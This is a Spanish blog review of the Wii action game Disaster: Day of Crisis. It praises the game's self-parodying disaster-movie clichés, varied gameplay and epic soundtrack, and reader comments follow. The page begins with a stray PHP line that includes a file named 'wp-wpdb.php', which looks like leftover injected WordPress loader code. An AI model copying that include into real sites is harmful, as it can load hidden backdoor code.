if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Disaster. Day of Crisis (Grandes Infravalorados) – La Fortaleza de LeChuck

Disaster. Day of Crisis (Grandes Infravalorados)

Inacabable es el catálogo que nos va a dejar Wii con miles y miles de títulos y, por qué no decirlo, con una gran cantidad de juegos mediocres que no sirven ni para lanzarlos al aire y acertarles con un rifle en pleno vuelo. Sin embargo en los más de 5 años que llevamos con la blanquita de Nintendo (se lanzó en Europa el 8 de Diciembre de 2006) nos ha dejado momentos memorables y verdaderas obras maestras. Cómo hay mucha gente que ha recuperado su Wii para disfrutar de sus últimos juegos de gran nivel –Last Story, Pandora’s Tower, etc.-, quiero reivindicar uno de los juegos que mejores ratos me ha hecho pasar en esta generación, por si hay quien no se haya acercado aún a este título de 2008 del estudio japonés Monolith Software (creadores de Baten Kaitos y el magnífico Xenoblade Chronicles). Además se puede encontrar muy rebajado de precio en casi todas las grandes superficies (en Fnac por ejemplo lleva años a 10 euros). Hablamos de un juego épico, irregular, divertido, peliculero y muy disfrutable, especialmente si nos gusta el cine de acción y de desastres de serie B, porque en este juego vamos a ver reflejados todos sus clichés. Pero todos, no se deja ni uno. Preparáos para disfrutar de un auténtico día de perros en Disaster: Day of Crisis.


Disaster: Day of Crisis crea en mí un efecto extraño. Reconozco y sé que el juego no es ninguna maravilla de la técnica, incluso a veces jugándolo he tenido que pausarlo y mirar a otro lado para que no me sangraran los ojos ante la visión de algunas texturas que no eran dignas ni de una Nintendo 64. Sin embargo si alguna vez en una conversación distendida ha surgido el tema sobre qué juegos que no tengan secuela me gustaría que la tuvieran, siempre pongo encima de la mesa (en sentido figurado, no es que lleve la caja del juego conmigo a todas partes… bueno, hace tiempo que ya no…) a Disaster: Day of Crisis. Y también a Beyond Good and Evil, aunque como diría el narrador de Conan: «Eso, eso es otra historia…«.
También dejo claro que servidor nunca ha sido de impresionarse con gráficos full HD y resoluciones con las que puedas contar cuantas espinillas tiene en la cara el protagonista. Vengo jugando desde la época del Spectrum, así que me he curtido entre tiempos de carga infinitos y gráficos monocromo. No os engañéis, me encanta ver como han evolucionado una barbaridad las consolas desde entonces,  pero al fin y al cabo lo que me sigue interesando como jugador es lo de siempre: Que lo que juego sea divertido.

Un juego de película

¿Qué tiene entonces este juego que atraiga tanto? Pues me voy a decantar casi, casi por el mismo motivo… Para fortuna o para desgracia (me voy a quedar con lo primero, sin dudarlo), los 80 y los 90 son la época en la que tuve a bien curtirme como persona, animal o cosa. Y los de mi quinta no solamente presenciamos el auge de los 16 bits, la llegada de la psx, etc… En el cine disfrutábamos viendo a los tipos duros que arrasaban en taquilla. Quizás es difícil de explicar ahora, pero nos lo pasábamos como enanos viendo en las salas a Kurt Russell, Schwarzenegger, Stallone, Bruce Willis, Van Damme o incluso Christopher Lambert, por ejemplo. Ese tipo de cine tenía un lenguaje propio, que lo hacía encantadoramente previsible (algo así como le pasa al chaval de «El Último Gran Héroe«). Un sólo hombre que se enfrenta contra los elementos y contra todo un ejército si hace falta. Ese es Lobezn… digoo, ese es Raymond Bryce, alias Ray. Y de eso va el juego, vamos a ser los héroes que salven (¡o no!) a todo el mundo. Y lo vamos a hacer al estilo badass de Hollywood. Fuck yeah.
Y cuando hablo que este juego es un cliché andante de ese tipo de películas no hay más que ver la intro del juego, que a su vez en un guiño a lo comentado es un trailer. Uno de los trailers más motivadores que he visto. Y sí, todo lo que sale ahí lo vamos a jugar. Y más.

En apenas dos minutos ahí tenemos una variada muestra de lo que nos espera: tsunamis, terremotos, volcanes erupcionando, bombas atómicas en manos de una facción militar renegada… Antes de que cunda el pánico, por si no queda claro, uno de los grandes puntos a favor de Disaster es que el juego es el primero que no se toma en serio a sí mismo. Esto que parece contraproducente es toda una bendición. Hay que tener en cuenta que nos vamos a meter en una espiral en la que continuamente nos vamos a enfrentar al más difícil todavía, a veces enfrentándonos a enemigos o situaciones que en la realidad serían muy absurdas (al menos sería muy absurdo salir de ellas con vida). Si el juego se tomara todo eso en serio caería en el más absoluto de los ridículos, y desde luego si nos lo tomamos nosotros así vamos a sentirnos estafados. En el caso de no saber ver las situaciones desde un punto de vista paródico éste no es nuestro juego y deberíamos dejar de leer este tocho. En caso contrario nos lo vamos a pasar teta, garantizado.
Según ya véis en la intro hay situaciones que reconoceréis enseguida de muchas películas: el juego empieza con una versión propia de la mítica escena de entrada de Máximo Riesgo (una escena que ya se ha parodiado otras veces), hay momentos calcados a los de La Roca y otros que nos recordarán a películas genéricas como Volcano, Un Pueblo llamado Dante’s Peak o Hard Rain, por poner ejemplos reconocibles. Están todos los desastres naturales vistos en el celuloide y comentar más al respecto sería hasta spoiler. Al final uno acaba pensando que Ray debe ser el tipo más gafe que ha conocido nunca. Todo lo que le pasa en un sólo día, eso sí, en el día más largo de la historia de América sin duda, haría que Jack Bauer pidiera la jubilación anticipada.

La historia

En cuanto al argumento Disaster sigue esa línea de los topicazos, en lo que sería el equivalente a una película de acción palomitera de viernes por la noche. Controlamos a Raymond que es actualmente miembro de un cuerpo de rescate (también podría ser cocinero y daría lo mismo) y, como no, es un ex-marine, lo cual evidentemente explica que luego sea un consumado experto en armas y despache militares altamente entrenados como el que se rasca la barriga. Por desgracia en una misión rutinaria de rescate en el Monte Águilas, Steve, el leal amigo de Ray, muere sin que nosotros podamos remediarlo, dejando al protagonista un trauma de por vida y una hermana a la que no conocemos pero juramos solemnemente proteger. Ella, no sabemos bien por qué, descubrimos que está metida en un buen lío y la mantiene secuestrada una facción militar del ejercito de EEUU que amenaza a Washington con lanzar pepinos nucleares sobre territorio americano si no se atienden sus exigencias.
Y todo ello el día en que la Tierra sin razón aparente parece haberse vuelto loca creando todo tipo de cataclismos naturales. Así que nos tocará desmantelar un grupo terrorista militar, con sucedáneo de Ed Harris a la cabeza incluido, salvar al presidente de los Estados Unidos, rescatar a la hermana de Steve y de paso, porque de algo nos ha servido dejar los marines para hacernos rescatadores, salvar a los civiles que nos vayamos encontrando de las catástrofes naturales… ¿Llamamos a Los Vengadores? Están con no se qué guerra, por ahí en el cosmos… ¿A Superman? Nah, que hoy le toca colada. Ya se encarga Ray.

Jugabilidad
La forma de jugar a Disaster es bastante variada y las fases se pueden dividir en tres grupos: Exploración, conducción y disparos. En la primera controlaremos a Ray en tercera persona por escenarios limitados aunque bastante amplios en general. Nuestro cometido casi siempre será simplemente el de encontrar el camino por donde avanzar, aunque por el camino podremos ir gritando si alguien necesita ayuda para sacar a relucir nuestras dotes de salvador. Nos podemos encontrar desde gente colgada de una cornisa a la que deberemos intentar rescatar, desnutridos que necesiten alimento o incluso paradas respiratorias a las que deberemos aplicar el boca a boca y masajes cardiacos. Dependiendo de cada caso usaremos los nunchuks de Wii de una forma u otra en una especie de minijuegos de los que dependen la vida de la víctima.

En los momentos de conducción es donde creo que Disaster flojea un poco comparado con el resto, más que nada porque el manejo del vehículo con el mando en horizontal es algo caótico a veces. Sin embargo estas fases también tienen sus momentazos, y escapar en coche de una nube volcánica o perseguir un jeep militar por una ciudad destruida mientras a su vez nos persigue una ola gigante son de esas cosas que no se olvidan fácilmente.

Los combates

Las fases de disparos son «on rails», muy al estilo House of the Dead o Time Crisis. Ray utilizará todo un arsenal que poco a poco y con puntos de experiencia iremos desbloqueando y mejorando (también podremos subir las habilidades de Ray, el elemento rolero lógico en una compañía famosa por sus Rpgs), pudiendo llevar pistolas, escopetas, ametralladoras, ballestas, lanzacohetes… hasta basura y piedras podremos coger y tirar a nuestros enemigos (cargarse un helicóptero usando como golpe de gracia un osito de peluche no tiene precio).  Eso sí, nos enfrentamos a militares de élite, no esperéis que nos lo vayan a poner fácil. Y tampoco pelean a pecho descubierto, están a la última… tanto en armamento como en vehículos de guerra.

Disaster: Day of Crisis es un popurri de géneros, la variedad va a estar a la orden del día. Habrá quien le guste más unas fases que otras, la ventaja es que como se van intercalando y no son fases largas no nos va a dar tiempo a cogerlas demasiada manía, aunque en algunas podemos necesitar varios intentos… No es un juego difícil, pero en algunas ocasiones como no nos centremos algún punto nos va a resultar frustrante, especialmente con las fases de conducción. Al menos eso puede disimular que el juego es corto, unas 10-12 horas. Y eso si se va admirando el paisaje y con calma. Al menos es bastante rejugable y eso nos servirá para conseguir extras, además de querer repetir misiones que nos gustaron. Con ello ganaremos puntos con los que subir nuestras habilidades y armas, y nos hará falta tener casi todo al máximo si queremos conseguir superar la fase sorpresa opcional que nos prepara el juego tras los créditos. Impagable…

Gráficos

En el apartado gráfico comenzaba el artículo quizás siendo un poco radical, no es para nada un aspecto tan sangrante, sobretodo teniendo en cuenta que hablamos de un juego que corre en Wii. Y en ese aspecto está por encima de la media, aunque es verdad que algunas texturas dan grima mirarlas de cerca. Por otro lado los efectos de las catástrofes naturales están muy, pero que muy trabajados. Ver como nieva ceniza, cómo esa ola gigante se traga un helicóptero o los efectos de lava, está realmente conseguido. Es un apartado irregular, pero sus momentos gráficos brillantes compensan de calle

En cuanto al apartado sonoro los efectos de disparo y similares son demasiado genéricos y a veces hasta algo cutres, pero si hablamos de la música Disaster cuenta con una BSO sencillamente, si me permitís lo voy a poner en mayúsculas y negrita, ÉPICA. El tema principal no tiene nada que envidiar al de los maestros cinéfilos. Es otro campo más donde se hace un guiño a las películas que se usan de referencia, pero la verdad es que Yoshihiro Ike, el compositor, crea un puñado de temas que acompañan a la acción de manera espectacular. Para muestra un par de canciones, la primera es el tema principal, soberbio, y la segunda cubre uno de los momentos clave emotivos del juego.

Conclusión

En definitiva, no será el mejor juego de acción que hayamos visto (aunque Wii no va sobrada de ellos que digamos). No será lo más original que veamos nunca, ni lo más innovador, y ni falta que hace. Disaster: Day of Crisis se ha ganado a pulso el cariño de mucha gente, y como prueba me quedo con que en la redacción de La Fortaleza a más de uno se le ha escapado un «¡Disaster DIOS!» cuando surgió la idea de escribir este artículo. Y también me quedo con que cuando saco el famoso tema de qué juego quiero una continuación, para mi sorpresa no soy el único que nombra a Disaster. Y no es que quiera sólo una segunda parte, es que también ansío un remake en WiiU que le haga justicia. Soñar es gratis, y si no lo es pues se monta un kickstarter.

Disaster es un conglomerado ameno, divertido, variado… es una rareza a veces infravalorada (muchas veces por su aspecto gráfico) de Wii. Pero es una pequeña joya que siempre recuerdo y a la que de vez en cuando regreso a echar alguna partida. Y Raymond Bryce es uno de los grandes héroes de acción de esta hornada, si aún no le conocéis os invito a que le ayudéis a salvar el día más largo que jamás haya existido en película o juego alguno. Palomitas opcionales.

    Nota: 8,5/10
Publicada el
Categorizado como Análisis

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

5 comentarios

    1. Tan exagerado como el propio juego! Lo cierto es que en difícil puede ser un hueso frustrante. Las fases de conducción en ese nivel cuestan lo suyo y un tiroteo que hay cerca del final también… No te negaré que en alguna ocasión en esas fases de conducción he estado a punto de tirar el wiimote contra la tele…

  1. A mi personalmente este juego me ENCANTÓ, no puedo estar más de acuerdo con vosotros. Ahí lo tengo en mi estantería de Wii y sé que más adelante, algún día, lo rejugaré, me gustó mucho.

  2. Buen artículo; a gusto personal es uno de los juegos que más me gusto en la consola de Wii, ganándose mi agrado por la jugabilidad (se utiliza el wii-mote de diferentes formas en cada momento)y pues bueno no soy tampoco fan de los juegos de acción o de disparos pero supo ganarse su lugar,
    Coincido con que el soundtrack es bueno, nada que envidiar de otros juegos, y el trailer tiene todo lo

  3. Pues a mí este juego me gustó bastante, aunque si que reconozco que las fases de conducción me costaron un huevo (pero es que los juegos de conduccion se me dan como el culo). Lo cierto es que la consolilla ha tenido algunos momentazos. A ver que tal se nos portan con la Wi U. Y si la continuación de este juego la sacaran en gráficos HD ya sería la ostia rebollera XD…Y ya que estamos, que se

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